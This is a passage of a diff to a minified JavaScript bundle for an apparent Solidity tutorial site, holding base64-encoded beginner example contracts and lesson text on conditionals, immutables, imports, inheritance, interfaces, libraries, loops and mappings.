G9wZXJhdG9yIGlzIGNhbGxlZCB0aGUgdGVybmFyeSBvcGVyYXRvcgogICAgICAgIHJldHVybiBfeCA8IDEwID8gMSA6IDI7CiAgICB9Cn0K"}],OZ=`

                                  Solidity supports conditional statements if, else if and else.

                                  +`,TZ=({prev:s,next:a})=>i.jsx(u,{version:EZ,title:LZ,description:QZ,html:UZ,prev:s,next:a,codes:_Z}),DZ="0.8.20",OZ="If / Else",PZ="If / Else conditional statement in Solidity",$Z=[{fileName:"IfElse.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IElmRWxzZSB7CiAgICBmdW5jdGlvbiBmb28odWludCB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgaWYgKHggPCAxMCkgewogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICB9IGVsc2UgaWYgKHggPCAyMCkgewogICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gMjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVybmFyeSh1aW50IF94KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgLy8gaWYgKF94IDwgMTApIHsKICAgICAgICAvLyAgICAgcmV0dXJuIDE7CiAgICAgICAgLy8gfQogICAgICAgIC8vIHJldHVybiAyOwoKICAgICAgICAvLyBzaG9ydGhhbmQgd2F5IHRvIHdyaXRlIGlmIC8gZWxzZSBzdGF0ZW1lbnQKICAgICAgICAvLyB0aGUgIj8iIG9wZXJhdG9yIGlzIGNhbGxlZCB0aGUgdGVybmFyeSBvcGVyYXRvcgogICAgICAgIHJldHVybiBfeCA8IDEwID8gMSA6IDI7CiAgICB9Cn0K"}],qZ=`

                                  Solidity supports conditional statements if, else if and else.

                                  // SPDX-License-Identifier: MIT
                                   pragma solidity ^0.8.20;
                                   
                                  @@ -8819,7 +8819,7 @@ if the signer's intention was to approve a transaction once.

                                  return _x < 10 ? 1 : 2; } } -
                                  `,PZ=({prev:s,next:a})=>i.jsx(u,{version:_Z,title:UZ,description:TZ,html:OZ,prev:s,next:a,codes:DZ}),$Z="0.8.20",qZ="Immutable",s0="Immutable variables",a0=[{fileName:"Immutable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEltbXV0YWJsZSB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBpbW11dGFibGUgTVlfQUREUkVTUzsKICAgIHVpbnQgcHVibGljIGltbXV0YWJsZSBNWV9VSU5UOwoKICAgIGNvbnN0cnVjdG9yKHVpbnQgX215VWludCkgewogICAgICAgIE1ZX0FERFJFU1MgPSBtc2cuc2VuZGVyOwogICAgICAgIE1ZX1VJTlQgPSBfbXlVaW50OwogICAgfQp9Cg=="}],n0=`

                                  Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards.

                                  +`,s0=({prev:s,next:a})=>i.jsx(u,{version:DZ,title:OZ,description:PZ,html:qZ,prev:s,next:a,codes:$Z}),a0="0.8.20",n0="Immutable",l0="Immutable variables",p0=[{fileName:"Immutable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEltbXV0YWJsZSB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBpbW11dGFibGUgTVlfQUREUkVTUzsKICAgIHVpbnQgcHVibGljIGltbXV0YWJsZSBNWV9VSU5UOwoKICAgIGNvbnN0cnVjdG9yKHVpbnQgX215VWludCkgewogICAgICAgIE1ZX0FERFJFU1MgPSBtc2cuc2VuZGVyOwogICAgICAgIE1ZX1VJTlQgPSBfbXlVaW50OwogICAgfQp9Cg=="}],e0=`

                                  Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards.

                                  // SPDX-License-Identifier: MIT
                                   pragma solidity ^0.8.20;
                                   
                                  @@ -8833,7 +8833,7 @@ if the signer's intention was to approve a transaction once.

                                  MY_UINT = _myUint; } } -
                                  `,l0=({prev:s,next:a})=>i.jsx(u,{version:$Z,title:qZ,description:s0,html:n0,prev:s,next:a,codes:a0}),p0="0.8.20",e0="Import",c0="Learn how to import other Solidity files",t0=[{fileName:"Foo.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCnN0cnVjdCBQb2ludCB7CiAgICB1aW50IHg7CiAgICB1aW50IHk7Cn0KCmVycm9yIFVuYXV0aG9yaXplZChhZGRyZXNzIGNhbGxlcik7CgpmdW5jdGlvbiBhZGQodWludCB4LCB1aW50IHkpIHB1cmUgcmV0dXJucyAodWludCkgewogICAgcmV0dXJuIHggKyB5Owp9Cgpjb250cmFjdCBGb28gewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkZvbyI7Cn0K"},{fileName:"Import.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIGltcG9ydCBGb28uc29sIGZyb20gY3VycmVudCBkaXJlY3RvcnkKaW1wb3J0ICIuL0Zvby5zb2wiOwoKLy8gaW1wb3J0IHtzeW1ib2wxIGFzIGFsaWFzLCBzeW1ib2wyfSBmcm9tICJmaWxlbmFtZSI7CmltcG9ydCB7VW5hdXRob3JpemVkLCBhZGQgYXMgZnVuYywgUG9pbnR9IGZyb20gIi4vRm9vLnNvbCI7Cgpjb250cmFjdCBJbXBvcnQgewogICAgLy8gSW5pdGlhbGl6ZSBGb28uc29sCiAgICBGb28gcHVibGljIGZvbyA9IG5ldyBGb28oKTsKCiAgICAvLyBUZXN0IEZvby5zb2wgYnkgZ2V0dGluZyBpdCdzIG5hbWUuCiAgICBmdW5jdGlvbiBnZXRGb29OYW1lKCkgcHVibGljIHZpZXcgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBmb28ubmFtZSgpOwogICAgfQp9Cg=="}],o0=`

                                  You can import local and external files in Solidity.

                                  +`,c0=({prev:s,next:a})=>i.jsx(u,{version:a0,title:n0,description:l0,html:e0,prev:s,next:a,codes:p0}),t0="0.8.20",o0="Import",r0="Learn how to import other Solidity files",i0=[{fileName:"Foo.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCnN0cnVjdCBQb2ludCB7CiAgICB1aW50IHg7CiAgICB1aW50IHk7Cn0KCmVycm9yIFVuYXV0aG9yaXplZChhZGRyZXNzIGNhbGxlcik7CgpmdW5jdGlvbiBhZGQodWludCB4LCB1aW50IHkpIHB1cmUgcmV0dXJucyAodWludCkgewogICAgcmV0dXJuIHggKyB5Owp9Cgpjb250cmFjdCBGb28gewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkZvbyI7Cn0K"},{fileName:"Import.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIGltcG9ydCBGb28uc29sIGZyb20gY3VycmVudCBkaXJlY3RvcnkKaW1wb3J0ICIuL0Zvby5zb2wiOwoKLy8gaW1wb3J0IHtzeW1ib2wxIGFzIGFsaWFzLCBzeW1ib2wyfSBmcm9tICJmaWxlbmFtZSI7CmltcG9ydCB7VW5hdXRob3JpemVkLCBhZGQgYXMgZnVuYywgUG9pbnR9IGZyb20gIi4vRm9vLnNvbCI7Cgpjb250cmFjdCBJbXBvcnQgewogICAgLy8gSW5pdGlhbGl6ZSBGb28uc29sCiAgICBGb28gcHVibGljIGZvbyA9IG5ldyBGb28oKTsKCiAgICAvLyBUZXN0IEZvby5zb2wgYnkgZ2V0dGluZyBpdCdzIG5hbWUuCiAgICBmdW5jdGlvbiBnZXRGb29OYW1lKCkgcHVibGljIHZpZXcgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBmb28ubmFtZSgpOwogICAgfQp9Cg=="}],h0=`

                                  You can import local and external files in Solidity.

                                  Local

                                  Here is our folder structure.

                                  ├── Import.sol
                                  @@ -8883,7 +8883,7 @@ if the signer's intention was to approve a transaction once.

                                  // Example import ECDSA.sol from openzeppelin-contract repo, release-v4.5 branch // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol"; -
                                  `,r0=({prev:s,next:a})=>i.jsx(u,{version:p0,title:e0,description:c0,html:o0,prev:s,next:a,codes:t0}),i0="0.8.20",h0="Inheritance",g0="Example of inheritance in Solidity",d0=[{fileName:"Inheritance.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qIEdyYXBoIG9mIGluaGVyaXRhbmNlCiAgICBBCiAgIC8gXAogIEIgICBDCiAvIFwgLwpGICBELEUKCiovCgpjb250cmFjdCBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQSI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBpbmhlcml0IG90aGVyIGNvbnRyYWN0cyBieSB1c2luZyB0aGUga2V5d29yZCAnaXMnLgpjb250cmFjdCBCIGlzIEEgewogICAgLy8gT3ZlcnJpZGUgQS5mb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgdmlydHVhbCBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJCIjsKICAgIH0KfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIE92ZXJyaWRlIEEuZm9vKCkKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgb3ZlcnJpZGUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQyI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBjYW4gaW5oZXJpdCBmcm9tIG11bHRpcGxlIHBhcmVudCBjb250cmFjdHMuCi8vIFdoZW4gYSBmdW5jdGlvbiBpcyBjYWxs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WVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cg=="}],I0=`

                                  Solidity supports multiple inheritance. Contracts can inherit other contract by using the is keyword.

                                  +`,g0=({prev:s,next:a})=>i.jsx(u,{version:t0,title:o0,description:r0,html:h0,prev:s,next:a,codes:i0}),d0="0.8.20",I0="Inheritance",C0="Example of inheritance in Solidity",j0=[{fileName:"Inheritance.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qIEdyYXBoIG9mIGluaGVyaXRhbmNlCiAgICBBCiAgIC8gXAogIEIgICBDCiAvIFwgLwpGICBELEUKCiovCgpjb250cmFjdCBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQSI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBpbmhlcml0IG90aGVyIGNvbnRyYWN0cyBieSB1c2luZyB0aGUga2V5d29yZCAnaXMnLgpjb250cmFjdCBCIGlzIEEgewogICAgLy8gT3ZlcnJpZGUgQS5mb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgdmlydHVhbCBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJCIjsKICAgIH0KfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIE92ZXJyaWRlIEEuZm9vKCkKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgb3ZlcnJpZGUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQyI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBjYW4gaW5oZXJpdCBmcm9tIG11bHRpcGxlIHBhcmVudCBjb250cmFjdHMuCi8vIF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ZShBLCBCKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cg=="}],u0=`

                                  Solidity supports multiple inheritance. Contracts can inherit other contract by using the is keyword.

                                  Function that is going to be overridden by a child contract must be declared as virtual.

                                  Function that is going to override a parent function must use the keyword override.

                                  Order of inheritance is important.

                                  @@ -8949,7 +8949,7 @@ F D,E return super.foo(); } } -`,C0=({prev:s,next:a})=>i.jsx(u,{version:i0,title:h0,description:g0,html:I0,prev:s,next:a,codes:d0}),j0="0.8.20",u0="Interface",y0="An example of interface in Solidity",m0=[{fileName:"Interface.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludCBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWwgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9Cn0KCmludGVyZmFjZSBJQ291bnRlciB7CiAgICBmdW5jdGlvbiBjb3VudCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IE15Q29udHJhY3QgewogICAgZnVuY3Rpb24gaW5jcmVtZW50Q291bnRlcihhZGRyZXNzIF9jb3VudGVyKSBleHRlcm5hbCB7CiAgICAgICAgSUNvdW50ZXIoX2NvdW50ZXIpLmluY3JlbWVudCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENvdW50KGFkZHJlc3MgX2NvdW50ZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBJQ291bnRlcihfY291bnRlcikuY291bnQoKTsKICAgIH0KfQoKLy8gVW5pc3dhcCBleGFtcGxlCmludGVyZmFjZSBVbmlzd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act with other contracts by declaring an Interface.

                                  +`,y0=({prev:s,next:a})=>i.jsx(u,{version:d0,title:I0,description:C0,html:u0,prev:s,next:a,codes:j0}),m0="0.8.20",A0="Interface",b0="An example of interface in Solidity",w0=[{fileName:"Interface.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludCBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWwgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9Cn0KCmludGVyZmFjZSBJQ291bnRlciB7CiAgICBmdW5jdGlvbiBjb3VudCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IE15Q29udHJhY3QgewogICAgZnVuY3Rpb24gaW5jcmVtZW50Q291bnRlcihhZGRyZXNzIF9jb3VudGVyKSBleHRlcm5hbCB7CiAgICAgICAgSUNvdW50ZXIoX2NvdW50ZXIpLmluY3JlbWVudCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENvdW50KGFkZHJlc3MgX2NvdW50ZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBJQ291bnRlcihfY291bnRlcikuY291bnQoKTsKICAgIH0KfQoKLy8gVW5pc3dhcCBleGFtcGxlCmludGVyZmFjZSBVbmlzd2FwVjJGYWN0b3J5IHsKICAgIGZ1bmN0aW9uIGdldFBhaXIoCiAgICAgICAgYWRkcmVzcyB0b2tlbkEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkIKICAgICkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzIHBhaXIpOwp9CgppbnRlcmZhY2UgVW5pc3dhcFYyUGFpciB7CiAgICBmdW5jdGlvbiBnZXRSZXNlcnZlcygpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDExMiByZXNlcnZlMCwgdWludDExMiByZXNlcnZlMSwgdWludDMyIGJsb2NrVGltZXN0YW1wTGFzdCk7Cn0KCmNvbnRyYWN0IFVuaXN3YXBFeGFtcGxlIHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBmYWN0b3J5ID0gMHg1QzY5YkVlNzAxZWY4MTRhMkI2YTNFREQ0QjE2NTJDQjljYzVhQTZmOwogICAgYWRkcmVzcyBwcml2YXRlIGRhaSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKICAgIGFkZHJlc3MgcHJpdmF0ZSB3ZXRoID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwoKICAgIGZ1bmN0aW9uIGdldFRva2VuUmVzZXJ2ZXMoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQsIHVpbnQpIHsKICAgICAgICBhZGRyZXNzIHBhaXIgPSBVbmlzd2FwVjJGYWN0b3J5KGZhY3RvcnkpLmdldFBhaXIoZGFpLCB3ZXRoKTsKICAgICAgICAodWludCByZXNlcnZlMCwgdWludCByZXNlcnZlMSwgKSA9IFVuaXN3YXBWMlBhaXIocGFpcikuZ2V0UmVzZXJ2ZXMoKTsKICAgICAgICByZXR1cm4gKHJlc2VydmUwLCByZXNlcnZlMSk7CiAgICB9Cn0K"}],k0=`

                                  You can interact with other contracts by declaring an Interface.

                                  Interface

                                  • cannot have any functions implemented
                                  • @@ -9011,7 +9011,7 @@ F D,E return (reserve0, reserve1); } } -`,b0=({prev:s,next:a})=>i.jsx(u,{version:j0,title:u0,description:y0,html:A0,prev:s,next:a,codes:m0}),w0="0.8.20",k0="Library",Z0="Example of how to write and use libraries in your Solidity code",W0=[{fileName:"Library.sol",code:"Ly8gU1BEWC1MaW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XB0eSBhcnJheSIpOwogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIGFyci5wb3AoKTsKICAgIH0KfQoKY29udHJhY3QgVGVzdEFycmF5IHsKICAgIHVzaW5nIEFycmF5IGZvciB1aW50W107CgogICAgdWludFtdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gdGVzdEFycmF5UmVtb3ZlKCkgcHVibGljIHsKICAgICAgICBmb3IgKHVpbnQgaSA9IDA7IGkgPCAzOyBpKyspIHsKICAgICAgICAgICAgYXJyLnB1c2goaSk7CiAgICAgICAgfQoKICAgICAgICBhcnIucmVtb3ZlKDEpOwoKICAgICAgICBhc3NlcnQoYXJyLmxlbmd0aCA9PSAyKTsKICAgICAgICBhc3NlcnQoYXJyWzBdID09IDApOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICB9Cn0K"}],B0=`

                                    Libraries are similar to contracts, but you can't declare any state variable and +`,Z0=({prev:s,next:a})=>i.jsx(u,{version:m0,title:A0,description:b0,html:k0,prev:s,next:a,codes:w0}),W0="0.8.20",B0="Library",G0="Example of how to write and use libraries in your Solidity code",f0=[{fileName:"Library.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmxpYnJhcnkgTWF0aCB7CiAgICBmdW5jdGlvbiBzcXJ0KHVpbnQgeSkgaW50ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCk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SAyKTsKICAgICAgICBhc3NlcnQoYXJyWzBdID09IDApOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICB9Cn0K"}],V0=`

                                    Libraries are similar to contracts, but you can't declare any state variable and you can't send ether.

                                    A library is embedded into the contract if all library functions are internal.

                                    Otherwise the library must be deployed and then linked before the contract is deployed.

                                    @@ -9068,7 +9068,7 @@ you can't send ether.

                                    assert(arr[1] == 2); } } -`,G0=({prev:s,next:a})=>i.jsx(u,{version:w0,title:k0,description:Z0,html:B0,prev:s,next:a,codes:W0}),f0="0.8.20",V0="For and While Loop",v0="Example of for and while loop in Solidity",Y0=[{fileName:"Loop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IExvb3AgewogICAgZnVuY3Rpb24gbG9vcCgpIHB1YmxpYyB7CiAgICAgICAgLy8gZm9yIGxvb3AKICAgICAgICBmb3IgKHVpbnQgaSA9IDA7IGkgPCAxMDsgaSsrKSB7CiAgICAgICAgICAgIGlmIChpID09IDMpIHsKICAgICAgICAgICAgICAgIC8vIFNraXAgdG8gbmV4dCBpdGVyYXRpb24gd2l0aCBjb250aW51ZQogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGkgPT0gNSkgewogICAgICAgICAgICAgICAgLy8gRXhpdCBsb29wIHdpdGggYnJlYWsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyB3aGlsZSBsb29wCiAgICAgICAgdWludCBqOwogICAgICAgIHdoaWxlIChqIDwgMTApIHsKICAgICAgICAgICAgaisrOwogICAgICAgIH0KICAgIH0KfQo="}],R0=`

                                    Solidity supports for, while, and do while loops.

                                    +`,v0=({prev:s,next:a})=>i.jsx(u,{version:W0,title:B0,description:G0,html:V0,prev:s,next:a,codes:f0}),Y0="0.8.20",R0="For and While Loop",X0="Example of for and while loop in Solidity",H0=[{fileName:"Loop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IExvb3AgewogICAgZnVuY3Rpb24gbG9vcCgpIHB1YmxpYyB7CiAgICAgICAgLy8gZm9yIGxvb3AKICAgICAgICBmb3IgKHVpbnQgaSA9IDA7IGkgPCAxMDsgaSsrKSB7CiAgICAgICAgICAgIGlmIChpID09IDMpIHsKICAgICAgICAgICAgICAgIC8vIFNraXAgdG8gbmV4dCBpdGVyYXRpb24gd2l0aCBjb250aW51ZQogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGkgPT0gNSkgewogICAgICAgICAgICAgICAgLy8gRXhpdCBsb29wIHdpdGggYnJlYWsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyB3aGlsZSBsb29wCiAgICAgICAgdWludCBqOwogICAgICAgIHdoaWxlIChqIDwgMTApIHsKICAgICAgICAgICAgaisrOwogICAgICAgIH0KICAgIH0KfQo="}],F0=`

                                    Solidity supports for, while, and do while loops.

                                    Don't write loops that are unbounded as this can hit the gas limit, causing your transaction to fail.

                                    For the reason above, while and do while loops are rarely used.

                                    // SPDX-License-Identifier: MIT
                                    @@ -9095,7 +9095,7 @@ you can't send ether.

                                    } } } -
                                    `,X0=({prev:s,next:a})=>i.jsx(u,{version:f0,title:V0,description:v0,html:R0,prev:s,next:a,codes:Y0}),H0="0.8.20",F0="Mapping",N0="Example of using mapping in Solidity",K0=[{fileName:"Mapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE1hcHBpbmcgewogICAgLy8gTWFwcGluZyBmcm9tIGFkZHJlc3MgdG8g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aXRpYWxpemVkCiAgICAgICAgcmV0dXJuIG5lc3RlZFtfYWRkcjFdW19pXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkcjEsIHVpbnQgX2ksIGJvb2wgX2JvbykgcHVibGljIHsKICAgICAgICBuZXN0ZWRbX2FkZHIxXVtfaV0gPSBfYm9vOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyMSwgdWludCBfaSkgcHVibGljIHsKICAgICAgICBkZWxldGUgbmVzdGVkW19hZGRyMV1bX2ldOwogICAgfQp9Cg=="}],S0=`

                                    Maps are created with the syntax mapping(keyType => valueType).

                                    +`,N0=({prev:s,next:a})=>i.jsx(u,{version:Y0,title:R0,description:X0,html:F0,prev:s,next:a,codes:H0}),K0="0.8.20",S0="Mapping",x0="Example of using mapping in Solidity",M0=[{fileName:"Mapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE1hcHBpbmcgewogICAgLy8gTWFwcGluZyBmcm9tIGFkZHJlc3MgdG8gdWludAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBteU1hcDsKCiAgICBmdW5jdGlvbiBnZXQoYWRkcmVzcyBfYWRkcikgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIC8vIE1hcHBpbmcgYWx3YXlzIHJldHVybnMgYSB2YWx1ZS4KICAgICAgICAvLyBJZiB0aGUgdmFsdWUgd2FzIG5ldmVyIHNldCwgaXQgd2lsbCByZXR1cm4gdGhlIGRlZmF1bHQgdmFsdWUuCiAgICAgICAgcmV0dXJuIG15TWFwW19hZGRyXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkciwgdWludCBfaSkgcHVibGljIHsKICAgICAgICAvLyBVcGRhdGUgdGhlIHZhbHVlIGF0IHRoaXMgYWRkcmVzcwogICAgICAgIG15TWFwW19hZGRyXSA9IF9pOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyKSBwdWJsaWMgewogICAgICAgIC8vIFJlc2V0IHRoZSB2YWx1ZSB0byB0aGUgZGVmYXVsdCB2YWx1ZS4KICAgICAgICBkZWxldGUgbXlNYXBbX2FkZHJdOwogICAgfQp9Cgpjb250cmFjdCBOZXN0ZWRNYXBwaW5nIHsKICAgIC8vIE5lc3RlZCBtYXBwaW5nIChtYXBwaW5nIGZyb20gYWRkcmVzcyB0byBhbm90aGVyIG1hcHBpbmcpCiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyh1aW50ID0+IGJvb2wpKSBwdWJsaWMgbmVzdGVkOwoKICAgIGZ1bmN0aW9uIGdldChhZGRyZXNzIF9hZGRyMSwgdWludCBfaSkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFlvdSBjYW4gZ2V0IHZhbHVlcyBmcm9tIGEgbmVzdGVkIG1hcHBpbmcKICAgICAgICAvLyBldmVuIHdoZW4gaXQgaXMgbm90IGluaXRpYWxpemVkCiAgICAgICAgcmV0dXJuIG5lc3RlZFtfYWRkcjFdW19pXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkcjEsIHVpbnQgX2ksIGJvb2wgX2JvbykgcHVibGljIHsKICAgICAgICBuZXN0ZWRbX2FkZHIxXVtfaV0gPSBfYm9vOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyMSwgdWludCBfaSkgcHVibGljIHsKICAgICAgICBkZWxldGUgbmVzdGVkW19hZGRyMV1bX2ldOwogICAgfQp9Cg=="}],J0=`

                                    Maps are created with the syntax mapping(keyType => valueType).

                                    The keyType can be any built-in value type, bytes, string, or any contract.

                                    valueType can be any type including another mapping or an array.

                                    Mappings are not iterable.

                                    @@ -9141,7 +9141,7 @@ you can't send ether.

